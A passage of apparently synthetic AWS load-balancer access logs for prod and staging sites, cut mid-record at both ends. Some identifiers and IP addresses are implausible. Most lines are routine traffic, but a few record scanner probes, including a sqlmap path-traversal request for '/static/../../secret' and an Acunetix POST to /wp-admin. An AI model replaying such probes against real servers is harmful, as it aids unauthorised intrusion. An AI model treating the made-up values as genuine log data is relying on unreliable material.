"Root=1-6723c8fe-f491ce5ddb9243219d69a34a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:14:22.784818Z "forward" "-" "-" "10.0.189.183:443" "404" "-" "-" +http 2024-11-01T01:14:23.973517Z staging-alb 16.7.19.118:21392 136.107.124.189:443 0.041221 0.620184 0.004091 200 200 500 11996 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8ff-3e7e10a13cda487d9f35ec03" "staging-alb.example.com" "-" 4 2024-11-01T01:14:23.973517Z "forward" "-" "-" "136.107.124.189:443" "200" "-" "-" +https 2024-11-01T01:14:24.508601Z prod-web-alb 32.201.3.22:27882 10.0.251.201:443 0.037649 0.396389 0.072308 302 302 413 7419 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c900-f6ce2f5ab7674aac961fda0c" "prod-web-alb.example.com" "-" 4 2024-11-01T01:14:24.508601Z "forward" "-" "-" "10.0.251.201:443" "302" "-" "-" +https 2024-11-01T01:14:25.322561Z prod-api-alb 196.147.172.4:44231 10.0.194.82:443 0.037890 0.022155 0.001106 302 302 444 10765 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c901-2c416e35d62c43cfa393dccf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:14:25.322561Z "forward" "-" "-" "10.0.194.82:443" "302" "-" "-" +https 2024-11-01T01:14:27.261654Z prod-api-alb 112.212.222.216:58628 10.0.185.21:443 0.026690 0.329037 0.073750 200 200 28 8080 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c903-b7ca4b58e1e2454aa57316b2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:14:27.261654Z "forward" "-" "-" "10.0.185.21:443" "200" "-" "-" +https 2024-11-01T01:14:28.834381Z prod-api-alb 35.63.175.12:50159 10.0.15.176:443 0.098054 0.025020 0.062517 302 302 888 10515 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c904-56ef1b1c2d99463fa3e0f784" "prod-api-alb.example.com" "-" 5 2024-11-01T01:14:28.834381Z "forward" "-" "-" "10.0.15.176:443" "302" "-" "-" +http 2024-11-01T01:14:29.505273Z staging-alb 155.166.31.151:29904 178.69.111.206:80 0.029131 0.695792 0.051045 301 301 910 12199 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c905-9e45fa127394456fa2f7495c" "staging-alb.example.com" "-" 10 2024-11-01T01:14:29.505273Z "forward" "-" "-" "178.69.111.206:80" "301" "-" "-" +https 2024-11-01T01:14:31.372359Z prod-web-alb 128.149.156.229:58531 10.0.154.195:443 0.080823 0.400632 0.046582 302 302 524 12725 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c907-dcc16c1ee6c4484ab261d4f6" "-" "-" 0 2024-11-01T01:14:31.372359Z "forward" "-" "-" "10.0.154.195:443" "302" "-" "-" +https 2024-11-01T01:14:33.259656Z prod-web-alb 222.110.23.11:63602 10.0.153.143:443 0.050759 0.407199 0.040267 200 200 738 10924 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c909-bd9b9e9e9f3b4723acbb6092" "-" "-" 1 2024-11-01T01:14:33.259656Z "forward" "-" "-" "10.0.153.143:443" "200" "-" "-" +https 2024-11-01T01:14:35.072040Z prod-api-alb 253.211.159.45:24027 10.0.244.157:443 0.002082 0.335093 0.096713 301 301 749 4133 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c90b-a73b241202414e06ba261297" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:35.072040Z "forward" "-" "-" "10.0.244.157:443" "301" "-" "-" +https 2024-11-01T01:14:36.849945Z prod-web-alb 41.205.195.159:47144 10.0.168.3:443 0.099946 0.202042 0.054900 302 302 914 249 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c90c-f0af287a688141d79bf348d1" "prod-web-alb.example.com" "-" 10 2024-11-01T01:14:36.849945Z "forward" "-" "-" "10.0.168.3:443" "302" "-" "-" +https 2024-11-01T01:14:36.978300Z staging-alb 129.16.201.147:21268 190.143.20.106:8080 0.124641 0.085324 0.108560 404 404 981 10868 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c90c-7c99f4acdb0b40129aa33e6c" "staging-alb.example.com" "-" 1 2024-11-01T01:14:36.978300Z "forward" "-" "-" "190.143.20.106:8080" "404" "-" "-" +http 2024-11-01T01:14:38.169161Z staging-alb 0.4.216.71:11946 101.75.175.139:8080 0.105222 0.422952 0.052045 200 200 564 11779 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c90e-424eae2059b64c8b8cd1e1b1" "staging-alb.example.com" "-" 5 2024-11-01T01:14:38.169161Z "forward" "-" "-" "101.75.175.139:8080" "200" "-" "-" +https 2024-11-01T01:14:39.009326Z prod-web-alb 124.227.116.121:20461 10.0.216.46:443 0.015511 0.122082 0.082100 200 200 211 6913 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c90f-6f4dd88c47194b69bf990c46" "prod-web-alb.example.com" "-" 1 2024-11-01T01:14:39.009326Z "forward" "-" "-" "10.0.216.46:443" "200" "-" "-" +https 2024-11-01T01:14:39.321932Z prod-api-alb 188.172.78.162:40729 10.0.150.89:443 0.053300 0.363931 0.022940 200 200 535 10430 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c90f-faaf593c767d48218d2623d8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:39.321932Z "forward" "-" "-" "10.0.150.89:443" "200" "-" "-" +https 2024-11-01T01:14:41.117707Z staging-alb 166.53.56.168:45595 158.96.224.198:80 0.055287 0.452480 0.115124 200 200 580 11647 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c911-963a3376ad3a4b3293a6a461" "staging-alb.example.com" "-" 2 2024-11-01T01:14:41.117707Z "forward" "-" "-" "158.96.224.198:80" "200" "-" "-" +https 2024-11-01T01:14:42.283230Z prod-api-alb 99.103.216.37:61395 10.0.102.64:443 0.069408 0.076155 0.025094 200 200 687 1589 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c912-20f0dcd60f32470ebe7fc754" "-" "-" 9 2024-11-01T01:14:42.283230Z "forward" "-" "-" "10.0.102.64:443" "200" "-" "-" +https 2024-11-01T01:14:43.101418Z prod-api-alb 149.95.205.193:56109 10.0.254.108:443 0.007905 0.053309 0.073294 200 200 178 14118 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c913-484bacbd3ba14092aeaa92ed" "prod-api-alb.example.com" "-" 10 2024-11-01T01:14:43.101418Z "forward" "-" "-" "10.0.254.108:443" "200" "-" "-" +https 2024-11-01T01:14:43.354681Z staging-alb 120.180.175.0:51175 7.12.182.98:443 0.068692 0.585845 0.132108 200 200 441 13585 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c913-48c1d331fa924706a90bb7bd" "staging-alb.example.com" "-" 6 2024-11-01T01:14:43.354681Z "forward" "-" "-" "7.12.182.98:443" "200" "-" "-" +https 2024-11-01T01:14:44.621995Z prod-web-alb 7.63.105.75:30704 10.0.215.39:443 0.039132 0.417742 0.066498 200 200 556 3889 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c914-dadc19ced9c947cbb00abaf9" "prod-web-alb.example.com" "-" 10 2024-11-01T01:14:44.621995Z "forward" "-" "-" "10.0.215.39:443" "200" "-" "-" +https 2024-11-01T01:14:45.779358Z prod-web-alb 234.231.73.2:33795 10.0.198.152:443 0.057385 0.446617 0.026370 302 302 951 11908 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c915-04694924b5174990bb7117c0" "prod-web-alb.example.com" "-" 3 2024-11-01T01:14:45.779358Z "forward" "-" "-" "10.0.198.152:443" "302" "-" "-" +http 2024-11-01T01:14:46.047637Z staging-alb 218.165.145.192:63435 22.77.187.41:443 0.071912 0.086969 0.055875 200 200 830 280 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c916-80ac6d735076402c837d2ba3" "staging-alb.example.com" "-" 7 2024-11-01T01:14:46.047637Z "forward" "-" "-" "22.77.187.41:443" "200" "-" "-" +https 2024-11-01T01:14:46.358798Z prod-web-alb 101.58.169.202:22928 10.0.240.123:443 0.071160 0.136897 0.008059 301 301 529 972 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c916-20bf6657472c4feb9854c7d1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:14:46.358798Z "forward" "-" "-" "10.0.240.123:443" "301" "-" "-" +https 2024-11-01T01:14:46.511953Z prod-api-alb 183.169.147.47:51170 10.0.243.9:443 0.048682 0.435894 0.034340 301 301 118 11616 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c916-eea4e15863e14c0093be3b3c" "prod-api-alb.example.com" "-" 6 2024-11-01T01:14:46.511953Z "forward" "-" "-" "10.0.243.9:443" "301" "-" "-" +https 2024-11-01T01:14:46.843932Z prod-api-alb 160.135.255.167:28656 10.0.196.44:443 0.069139 0.003835 0.009180 404 404 747 13195 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c916-79e56dd8265d4332ab25b2a2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:14:46.843932Z "forward" "-" "-" "10.0.196.44:443" "404" "-" "-" +https 2024-11-01T01:14:47.283142Z prod-web-alb 163.147.182.84:58764 10.0.198.183:443 0.086455 0.270260 0.057557 301 301 167 12598 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c917-f784376643c24a62a2908955" "prod-web-alb.example.com" "-" 7 2024-11-01T01:14:47.283142Z "forward" "-" "-" "10.0.198.183:443" "301" "-" "-" +https 2024-11-01T01:14:48.790365Z staging-alb 45.155.205.9:33777 173.53.34.227:80 0.099912 0.508970 0.062258 404 404 817 13934 "POST /metrics HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c918-68122d4579a04b5587b029fc" "-" "-" 7 2024-11-01T01:14:48.790365Z "forward" "-" "-" "173.53.34.227:80" "404" "-" "-" +https 2024-11-01T01:14:50.629260Z prod-api-alb 115.107.91.74:53645 10.0.95.81:443 0.029005 0.098528 0.014232 404 404 303 14138 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c91a-5917028f9bef4075a3493917" "prod-api-alb.example.com" "-" 5 2024-11-01T01:14:50.629260Z "forward" "-" "-" "10.0.95.81:443" "404" "-" "-" +https 2024-11-01T01:14:51.203898Z prod-api-alb 136.22.15.3:39677 10.0.151.239:443 0.055500 0.350544 0.015667 302 302 722 12948 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c91b-9a79b5bf97dd44fcafd7ebc6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:14:51.203898Z "forward" "-" "-" "10.0.151.239:443" "302" "-" "-" +http 2024-11-01T01:14:51.876705Z staging-alb 217.197.194.95:49875 236.93.79.180:80 0.115447 0.586763 0.100462 404 404 558 12235 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c91b-314202a29eb34aafa8943df0" "staging-alb.example.com" "-" 1 2024-11-01T01:14:51.876705Z "forward" "-" "-" "236.93.79.180:80" "404" "-" "-" +http 2024-11-01T01:14:53.244380Z staging-alb 56.53.6.87:48051 43.31.79.131:80 0.027047 0.016878 0.066315 200 200 340 11406 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c91d-1b8db65ed3fe42caba4eb24d" "staging-alb.example.com" "-" 2 2024-11-01T01:14:53.244380Z "forward" "-" "-" "43.31.79.131:80" "200" "-" "-" +https 2024-11-01T01:14:55.222018Z prod-web-alb 205.62.134.197:16152 10.0.99.88:443 0.017256 0.001177 0.066552 200 200 803 8236 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c91f-47d17abbc6f841eabff528b4" "prod-web-alb.example.com" "-" 7 2024-11-01T01:14:55.222018Z "forward" "-" "-" "10.0.99.88:443" "200" "-" "-" +https 2024-11-01T01:14:56.570558Z prod-api-alb 158.147.179.163:19108 10.0.16.31:443 0.082243 0.206711 0.061667 200 200 129 9492 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c920-fe176e0f750f42598809ad75" "prod-api-alb.example.com" "-" 3 2024-11-01T01:14:56.570558Z "forward" "-" "-" "10.0.16.31:443" "200" "-" "-" +https 2024-11-01T01:14:57.305311Z prod-web-alb 30.5.21.194:42581 10.0.243.34:443 0.078909 0.111159 0.037214 301 301 534 14607 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c921-34f973b4a37942cf9170129d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:14:57.305311Z "forward" "-" "-" "10.0.243.34:443" "301" "-" "-" +https 2024-11-01T01:14:57.463461Z prod-api-alb 223.85.129.3:15833 10.0.42.18:443 0.083451 0.130245 0.078227 404 404 330 2498 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c921-50da2d538b16414f9cc51ae5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:57.463461Z "forward" "-" "-" "10.0.42.18:443" "404" "-" "-" +https 2024-11-01T01:14:59.403193Z prod-api-alb 75.233.222.4:43894 10.0.88.85:443 0.052623 0.360410 0.071367 302 302 678 1583 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c923-a69a7e0f783f4965988a0fff" "prod-api-alb.example.com" "-" 1 2024-11-01T01:14:59.403193Z "forward" "-" "-" "10.0.88.85:443" "302" "-" "-" +https 2024-11-01T01:15:01.196214Z prod-api-alb 131.196.54.221:38597 10.0.78.126:443 0.055190 0.425764 0.058697 200 200 973 13751 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c925-2942816d31124696a04f1309" "prod-api-alb.example.com" "-" 0 2024-11-01T01:15:01.196214Z "forward" "-" "-" "10.0.78.126:443" "200" "-" "-" +https 2024-11-01T01:15:02.704930Z staging-alb 63.104.26.158:28683 253.60.11.137:80 0.082233 0.501461 0.024214 200 200 681 12659 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c926-ac890996ea4e4fa780f2f161" "staging-alb.example.com" "-" 7 2024-11-01T01:15:02.704930Z "forward" "-" "-" "253.60.11.137:80" "200" "-" "-" +https 2024-11-01T01:15:02.864601Z prod-api-alb 253.246.182.249:25430 10.0.76.64:443 0.036436 0.480113 0.031587 200 200 215 14888 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c926-59e64bcedfac46ca81e66b64" "prod-api-alb.example.com" "-" 10 2024-11-01T01:15:02.864601Z "forward" "-" "-" "10.0.76.64:443" "200" "-" "-" +http 2024-11-01T01:15:04.491078Z staging-alb 54.101.180.2:23889 182.4.213.13:80 0.014812 0.535085 0.017663 404 404 794 6895 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c928-4c6f88ecd59a47db8a64b8eb" "staging-alb.example.com" "-" 3 2024-11-01T01:15:04.491078Z "forward" "-" "-" "182.4.213.13:80" "404" "-" "-" +https 2024-11-01T01:15:04.608881Z prod-api-alb 185.181.160.192:12763 10.0.69.45:443 0.091091 0.103337 0.035512 404 404 878 14868 "GET /static/../../secret HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c928-670ec10d13294dfaa82e2fc0" "-" "-" 2 2024-11-01T01:15:04.608881Z "forward" "-" "-" "10.0.69.45:443" "404" "-" "-" +https 2024-11-01T01:15:06.607480Z prod-web-alb 171.147.106.176:23533 10.0.216.234:443 0.075350 0.276344 0.066937 200 200 444 10808 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c92a-8f7aa53d37c448f5949924bf" "prod-web-alb.example.com" "-" 7 2024-11-01T01:15:06.607480Z "forward" "-" "-" "10.0.216.234:443" "200" "-" "-" +https 2024-11-01T01:15:07.776982Z prod-api-alb 214.176.149.191:32122 10.0.150.36:443 0.070550 0.324464 0.062647 404 404 468 9273 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c92b-b10490d2656143b3adc0d35b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:15:07.776982Z "forward" "-" "-" "10.0.150.36:443" "404" "-" "-" +https 2024-11-01T01:15:09.249431Z prod-web-alb 185.181.101.174:32762 10.0.137.107:443 0.075279 0.235164 0.016269 401 401 243 9153 "POST /wp-admin HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c92d-62474ced2ddc42df97d5f18e" "-" "-" 0 2024-11-01T01:15:09.249431Z "forward" "-" "-" "10.0.137.107:443" "401" "-" "-" +https 2024-11-01T01:15:09.484148Z prod-web-alb 142.148.178.160:48409 10.0.79.226:443 0.049068 0.224402 0.000614 301 301 37 12587 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c92d-71e1bfe5eba846d1a65484c2" "prod-web-alb.example.com" "-" 8 2024-11-01T01:15:09.484148Z "forward" "-" "-" "10.0.79.226:443" "301" "-" "-" +http 2024-11-01T01:15:10.091805Z staging-alb 61.231.29.5:16372 130.26.28.216:80 0.056889 0.717047 0.042863 302 302 583 8218 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c92e-4bf8ff3a13fe4d01b3c2dfc3" "staging-alb.example.com" "-" 4 2024-11-01T01:15:10.091805Z "forward" "-" "-" "130.26.28.216:80" "302" "-" "-" +https 2024-11-01T01:15:11.132569Z staging-alb 19.59.2.15:36704 153.31.111.11:443 0.057328 0.311793 0.092882 200 200 264 12651 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c92f-e58bd78bb51240779e538127" "-" "-" 8 2024-11-01T01:15:11.132569Z "forward" "-" "-" "153.31.111.11:443" "200" "-" "-" +https 2024-11-01T01:15:11.426584Z prod-api-alb 148.199.54.133:59219 10.0.165.78:443 0.085362 0.369871 0.040889 200 200 138 9760 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c92f-88f5732a10a34e4cbe4b25f8" "prod-api-alb.example.com" "-" 9 2024-11-01T01:15:11.426584Z "forward" "-" "-" "10.0.165.78:443" "200" "-" "-" +https 2024-11-01T01:15:12.225640Z prod-api-alb 30.230.89.201:62721 10.0.24.193:443 0.036318 0.471009 0.093124 200 200 171 601 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c930-f9d5ae87876b4a43a483cc71" "prod-api-alb.example.com" "-" 1 2024-11-01T01:15:12.225640Z "forward" "-" "-" "10.0.24.193:443" "200" "-" "-" +https 2024-11-01T01:15:12.597795Z prod-api-alb 